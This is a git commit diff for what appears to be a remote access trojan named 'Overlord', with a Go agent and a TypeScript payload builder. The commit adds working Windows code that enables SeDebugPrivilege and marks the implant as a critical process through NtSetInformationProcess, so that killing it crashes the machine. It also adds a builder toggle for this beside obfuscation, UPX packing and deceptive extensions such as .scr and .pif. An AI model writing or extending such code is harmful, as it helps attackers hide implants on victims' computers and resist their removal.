add critical process for windows
This commit is contained in:
@@ -28,6 +28,7 @@ var DefaultCountry = ""
|
||||
var DefaultAgentToken = ""
|
||||
var DefaultBuildTag = ""
|
||||
var DefaultSleepSeconds = "0"
|
||||
var DefaultCriticalProcess = "false"
|
||||
|
||||
const settingsFile = "config/settings.json"
|
||||
const serverIndexFile = "config/server_index.json"
|
||||
@@ -57,6 +58,7 @@ type Config struct {
|
||||
CaptureInterval time.Duration
|
||||
DisableCapture bool
|
||||
EnablePersistence bool
|
||||
CriticalProcess bool
|
||||
TLSInsecureSkipVerify bool
|
||||
TLSCAPath string
|
||||
TLSClientCert string
|
||||
@@ -123,6 +125,8 @@ func Load() Config {
|
||||
enablePersistence = v == "true" || v == "1" || v == "yes"
|
||||
}
|
||||
|
||||
criticalProcess := strings.ToLower(DefaultCriticalProcess) == "true"
|
||||
|
||||
tlsInsecureSkipVerify := true
|
||||
if v := strings.ToLower(strings.TrimSpace(os.Getenv("OVERLORD_TLS_INSECURE_SKIP_VERIFY"))); v != "" {
|
||||
tlsInsecureSkipVerify = v == "true" || v == "1" || v == "yes"
|
||||
@@ -152,6 +156,7 @@ func Load() Config {
|
||||
ID: defaultHWID,
|
||||
HWID: firstNonEmpty(fileSettings.HWID, defaultHWID),
|
||||
EnablePersistence: enablePersistence,
|
||||
CriticalProcess: criticalProcess,
|
||||
Country: firstNonEmpty(strings.TrimSpace(fileSettings.Country), DefaultCountry),
|
||||
OS: runtime.GOOS,
|
||||
Arch: runtime.GOARCH,
|
||||
|
||||
@@ -0,0 +1,8 @@
|
||||
//go:build !windows
|
||||
// +build !windows
|
||||
|
||||
package criticalproc
|
||||
|
||||
func Setup() {}
|
||||
|
||||
func Teardown() {}
|
||||
@@ -0,0 +1,87 @@
|
||||
//go:build windows
|
||||
// +build windows
|
||||
|
||||
package criticalproc
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
var (
|
||||
modntdll = windows.NewLazySystemDLL("ntdll.dll")
|
||||
procNtSetInformationProcess = modntdll.NewProc("NtSetInformationProcess")
|
||||
)
|
||||
|
||||
const processBreakOnTermination = 29
|
||||
|
||||
func Setup() {
|
||||
if !windows.GetCurrentProcessToken().IsElevated() {
|
||||
log.Printf("[criticalproc] not running as administrator, skipping critical process flag")
|
||||
return
|
||||
}
|
||||
if err := enableSeDebugPrivilege(); err != nil {
|
||||
log.Printf("[criticalproc] failed to enable SeDebugPrivilege: %v", err)
|
||||
return
|
||||
}
|
||||
if err := ntSetBreakOnTermination(1); err != nil {
|
||||
log.Printf("[criticalproc] failed to set critical process: %v", err)
|
||||
return
|
||||
}
|
||||
log.Printf("[criticalproc] process marked as critical")
|
||||
}
|
||||
|
||||
func Teardown() {
|
||||
if !windows.GetCurrentProcessToken().IsElevated() {
|
||||
return
|
||||
}
|
||||
if err := ntSetBreakOnTermination(0); err != nil {
|
||||
log.Printf("[criticalproc] failed to unset critical process: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func enableSeDebugPrivilege() error {
|
||||
var hToken windows.Token
|
||||
err := windows.OpenProcessToken(
|
||||
windows.CurrentProcess(),
|
||||
windows.TOKEN_ADJUST_PRIVILEGES|windows.TOKEN_QUERY,
|
||||
&hToken,
|
||||
)
|
||||
if err != nil {
|
||||
return fmt.Errorf("OpenProcessToken: %w", err)
|
||||
}
|
||||
defer hToken.Close()
|
||||
|
||||
seDebugName, err := windows.UTF16PtrFromString("SeDebugPrivilege")
|
||||
if err != nil {
|
||||
return fmt.Errorf("UTF16PtrFromString: %w", err)
|
||||
}
|
||||
var luid windows.LUID
|
||||
if err := windows.LookupPrivilegeValue(nil, seDebugName, &luid); err != nil {
|
||||
return fmt.Errorf("LookupPrivilegeValue: %w", err)
|
||||
}
|
||||
|
||||
tp := windows.Tokenprivileges{
|
||||
PrivilegeCount: 1,
|
||||
Privileges: [1]windows.LUIDAndAttributes{
|
||||
{Luid: luid, Attributes: windows.SE_PRIVILEGE_ENABLED},
|
||||
},
|
||||
}
|
||||
return windows.AdjustTokenPrivileges(hToken, false, &tp, 0, nil, nil)
|
||||
}
|
||||
|
||||
func ntSetBreakOnTermination(val uint32) error {
|
||||
ret, _, _ := procNtSetInformationProcess.Call(
|
||||
uintptr(windows.CurrentProcess()),
|
||||
processBreakOnTermination,
|
||||
uintptr(unsafe.Pointer(&val)),
|
||||
unsafe.Sizeof(val),
|
||||
)
|
||||
if ret != 0 {
|
||||
return fmt.Errorf("NtSetInformationProcess(ProcessBreakOnTermination) failed: NTSTATUS 0x%x", ret)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -17,6 +17,7 @@ import (
|
||||
"overlord-client/cmd/agent/audio"
|
||||
"overlord-client/cmd/agent/capture"
|
||||
"overlord-client/cmd/agent/console"
|
||||
"overlord-client/cmd/agent/criticalproc"
|
||||
"overlord-client/cmd/agent/filesearch"
|
||||
"overlord-client/cmd/agent/persistence"
|
||||
"overlord-client/cmd/agent/plugins"
|
||||
@@ -1907,11 +1908,13 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
log.Printf("uninstall: failed to remove persistence: %v", err)
|
||||
}
|
||||
|
||||
criticalproc.Teardown()
|
||||
os.Exit(0)
|
||||
case "disconnect":
|
||||
res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}
|
||||
_ = wire.WriteMsg(ctx, env.Conn, res)
|
||||
resetForReconnect(env)
|
||||
criticalproc.Teardown()
|
||||
os.Exit(0)
|
||||
return nil
|
||||
case "reconnect":
|
||||
|
||||
@@ -5,6 +5,7 @@ import (
|
||||
"time"
|
||||
|
||||
"overlord-client/cmd/agent/config"
|
||||
"overlord-client/cmd/agent/criticalproc"
|
||||
"overlord-client/cmd/agent/mutex"
|
||||
"overlord-client/cmd/agent/persistence"
|
||||
)
|
||||
@@ -24,6 +25,10 @@ func main() {
|
||||
}
|
||||
}
|
||||
|
||||
if cfg.CriticalProcess {
|
||||
criticalproc.Setup()
|
||||
}
|
||||
|
||||
releaseMutex, ok, err := mutex.Acquire(cfg.Mutex)
|
||||
if err != nil {
|
||||
log.Printf("[mutex] failed to initialize mutex: %v", err)
|
||||
|
||||
@@ -109,6 +109,7 @@ function saveFormSettings() {
|
||||
startupName: document.getElementById("startup-name")?.value ?? "",
|
||||
hideConsole: document.querySelector('input[name="hide-console"]')?.checked ?? false,
|
||||
requireAdmin: document.querySelector('input[name="require-admin"]')?.checked ?? false,
|
||||
criticalProcess: document.querySelector('input[name="critical-process"]')?.checked ?? false,
|
||||
assemblyTitle: document.getElementById("assembly-title")?.value ?? "",
|
||||
assemblyProduct: document.getElementById("assembly-product")?.value ?? "",
|
||||
assemblyCompany: document.getElementById("assembly-company")?.value ?? "",
|
||||
@@ -161,6 +162,7 @@ function restoreFormSettings() {
|
||||
if (s.startupName !== undefined) setVal("startup-name", s.startupName);
|
||||
if (s.hideConsole !== undefined) setCb('input[name="hide-console"]', s.hideConsole);
|
||||
if (s.requireAdmin !== undefined) setCb('input[name="require-admin"]', s.requireAdmin);
|
||||
if (s.criticalProcess !== undefined) setCb('input[name="critical-process"]', s.criticalProcess);
|
||||
if (s.assemblyTitle !== undefined) setVal("assembly-title", s.assemblyTitle);
|
||||
if (s.assemblyProduct !== undefined) setVal("assembly-product", s.assemblyProduct);
|
||||
if (s.assemblyCompany !== undefined) setVal("assembly-company", s.assemblyCompany);
|
||||
@@ -586,6 +588,7 @@ form?.addEventListener("submit", async (e) => {
|
||||
const assemblyVersion = form.querySelector("#assembly-version")?.value.trim() || "";
|
||||
const assemblyCopyright = form.querySelector("#assembly-copyright")?.value.trim() || "";
|
||||
const requireAdmin = form.querySelector('input[name="require-admin"]')?.checked || false;
|
||||
const criticalProcess = form.querySelector('input[name="critical-process"]')?.checked || false;
|
||||
const outputExtension = form.querySelector("#output-extension")?.value || ".exe";
|
||||
const sleepSecondsRaw = parseInt(form.querySelector("#sleep-seconds")?.value || "0", 10);
|
||||
const sleepSeconds = !isNaN(sleepSecondsRaw) && sleepSecondsRaw > 0 ? sleepSecondsRaw : 0;
|
||||
@@ -614,6 +617,7 @@ form?.addEventListener("submit", async (e) => {
|
||||
assemblyVersion: assemblyVersion || undefined,
|
||||
assemblyCopyright: assemblyCopyright || undefined,
|
||||
requireAdmin,
|
||||
criticalProcess,
|
||||
outputExtension,
|
||||
sleepSeconds: sleepSeconds > 0 ? sleepSeconds : undefined,
|
||||
iconBase64: pendingIconBase64 || undefined,
|
||||
|
||||
@@ -418,6 +418,16 @@
|
||||
</div>
|
||||
</label>
|
||||
|
||||
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-red-500 transition-colors">
|
||||
<input type="checkbox" name="critical-process" class="w-4 h-4" />
|
||||
<div class="flex flex-col">
|
||||
<span class="flex items-center gap-2">
|
||||
<i class="fa-solid fa-skull text-red-400"></i> Critical Process
|
||||
</span>
|
||||
<span class="text-xs text-slate-500">If running as admin, marks the process as critical — killing it without disconnect/uninstall triggers a BSOD</span>
|
||||
</div>
|
||||
</label>
|
||||
|
||||
<div>
|
||||
<label class="block text-sm font-medium text-slate-300 mb-2 flex items-center gap-2">
|
||||
<i class="fa-solid fa-file-code text-blue-400"></i> PE / Assembly Metadata
|
||||
|
||||
@@ -87,6 +87,7 @@ type BuildProcessConfig = {
|
||||
enableUpx?: boolean;
|
||||
upxStripHeaders?: boolean;
|
||||
requireAdmin?: boolean;
|
||||
criticalProcess?: boolean;
|
||||
outputExtension?: string;
|
||||
sleepSeconds?: number;
|
||||
boundFiles?: BoundFile[];
|
||||
@@ -740,6 +741,12 @@ func runBoundFiles() {
|
||||
sendToStream({ type: "output", text: "Windows console hidden (GUI subsystem)\n", level: "info" });
|
||||
}
|
||||
|
||||
if (config.criticalProcess && os === "windows") {
|
||||
const criticalFlag = "-X overlord-client/cmd/agent/config.DefaultCriticalProcess=true";
|
||||
ldflags = ldflags ? `${ldflags} ${criticalFlag}` : criticalFlag;
|
||||
sendToStream({ type: "output", text: "Critical process: enabled (requires admin at runtime)\n", level: "info" });
|
||||
}
|
||||
|
||||
if (config.obfuscate) {
|
||||
sendToStream({ type: "output", text: "Obfuscation enabled (garble)\n", level: "info" });
|
||||
if (config.garbleLiterals) {
|
||||
|
||||
@@ -72,6 +72,7 @@ export async function handleBuildRoutes(
|
||||
enableUpx,
|
||||
upxStripHeaders,
|
||||
requireAdmin,
|
||||
criticalProcess,
|
||||
outputExtension,
|
||||
sleepSeconds,
|
||||
boundFiles,
|
||||
@@ -164,6 +165,7 @@ export async function handleBuildRoutes(
|
||||
? iconBase64
|
||||
: undefined;
|
||||
const safeRequireAdmin = !!requireAdmin;
|
||||
const safeCriticalProcess = !!criticalProcess;
|
||||
const VALID_OUTPUT_EXTENSIONS = new Set([".exe", ".scr", ".bat", ".cmd", ".pif", ".com"]);
|
||||
const safeOutputExtension =
|
||||
typeof outputExtension === "string" && VALID_OUTPUT_EXTENSIONS.has(outputExtension.toLowerCase())
|
||||
@@ -248,6 +250,7 @@ export async function handleBuildRoutes(
|
||||
enableUpx: !!enableUpx,
|
||||
upxStripHeaders: !!upxStripHeaders,
|
||||
requireAdmin: safeRequireAdmin,
|
||||
criticalProcess: safeCriticalProcess,
|
||||
outputExtension: safeOutputExtension,
|
||||
sleepSeconds: safeSleepSeconds,
|
||||
boundFiles: safeBoundFiles,
|
||||
|
||||
Reference in New Issue
Block a user